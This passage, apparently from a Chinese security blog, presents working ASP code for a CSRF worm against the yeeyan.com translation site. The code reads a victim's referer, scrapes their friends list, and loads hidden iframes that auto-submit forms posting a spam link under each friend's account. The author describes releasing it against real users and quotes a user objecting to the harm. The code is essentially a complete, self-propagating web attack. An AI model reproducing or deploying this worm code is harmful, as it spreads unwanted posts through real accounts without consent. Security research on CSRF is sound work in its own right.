r = Request.ServerVariables("HTTP_REFERER") ‘獲取用戶的來源地址,如:http://www.yeeyan.com/space/show/hving
If instr(r,"http://www.yeeyan.com/space/show") > 0 Then ‘referer判斷,因為攻擊對象為yeeyan個人空間留言板,就是這樣的地址
......
id = Mid(r,34) ‘獲取用戶標識ID,如:hving
furl = "http://www.yeeyan.com/space/friends/" + id ‘用戶的好友列表鏈接是這樣的
Set http=Server.CreateObject("Microsoft.XMLHTTP") ‘使用這個控件
http.Open "GET",furl,False ‘同步,GET請求furl鏈接
http.Send ‘發(fā)送請求
ftext = http.ResponseText ‘返回請求的結果,為furl鏈接對應的HTML內(nèi)容
fstr = regx("show/(\d+)?"">[^1-9a-zA-Z]+<img",ftext) ‘正則獲取被攻擊用戶的所有好友ID值,CSRF留言時需要這個值
farray = Split(fstr , " | ") ‘下面幾句就是對獲取到的好友ID值進行簡單處理,然后扔進f(999)這個數(shù)組中去
Dim f(999)
For i = 0 To ubound(farray) - 1
f(i) = Mid(farray(i),6,Len(farray(i))-16)
Next
Set http=Nothing
s = ""
For i = 0 To ubound(farray) - 1
s = s + "<iframe width=0 height=0 src=‘yeeyan_iframe.asp?id=" & f(i) & "‘></iframe>" ‘接著循環(huán)遍歷好友列表,使用iframe發(fā)起CSRF攻擊
Next
Response.write(s)
......
End If
%>
發(fā)起CSRF攻擊的yeeyan_iframe.asp的代碼如下,現(xiàn)在兼容FF瀏覽器了:),表單提交兼容問題,在這說過。
id = Request("id")
s = "<form method=‘post‘ action=‘http://www.yeeyan.com/groups/newTopic/‘>"
s = s+"<input type=‘text‘ style=‘display:none!important;display:block;width=0;height=0‘ value=‘The delicious Tools for yeeyan translation: http://www.chyouth.gov.cn/yy.asp‘ name=‘data[Post][content]‘/>"
s = s+"<input type=‘text‘ style=‘display:none!important;display:block;width=0;height=0‘ value=" + id + " name=‘ymsgee‘/>"
s = s+"<input type=‘text‘style=‘display:none!important;display:block;width=0;height=0‘ value=" +id + " name=‘ymsgee_username‘/>"
s = s+"</form>"
s = s+"<script>document.forms[0].submit();</script>"
Response.write(s)
這就是今天這個譯言CSRF蠕蟲(或蠕蟲雛形)的實現(xiàn)過程了。根據(jù)這個原理,很多具有CSRF漏洞的網(wǎng)站都將受到這類的威脅。我也不想來個總結什么的。本來上個周末是準備拿飯否開刀的,不過貌似修補了這篇文章《JSON Hijacking的利用以及Web API安全》提過的漏洞(沒修補全)。80sec今天放出的百度空間CSRF蠕蟲也很經(jīng)典。
CSRF蠕蟲就是個實實在在的東西。最后,yeeyan上某人對我說了這句話:真是奇怪,你做測試干嘛要影響別人呢,做一個人見人愛的好學生吧~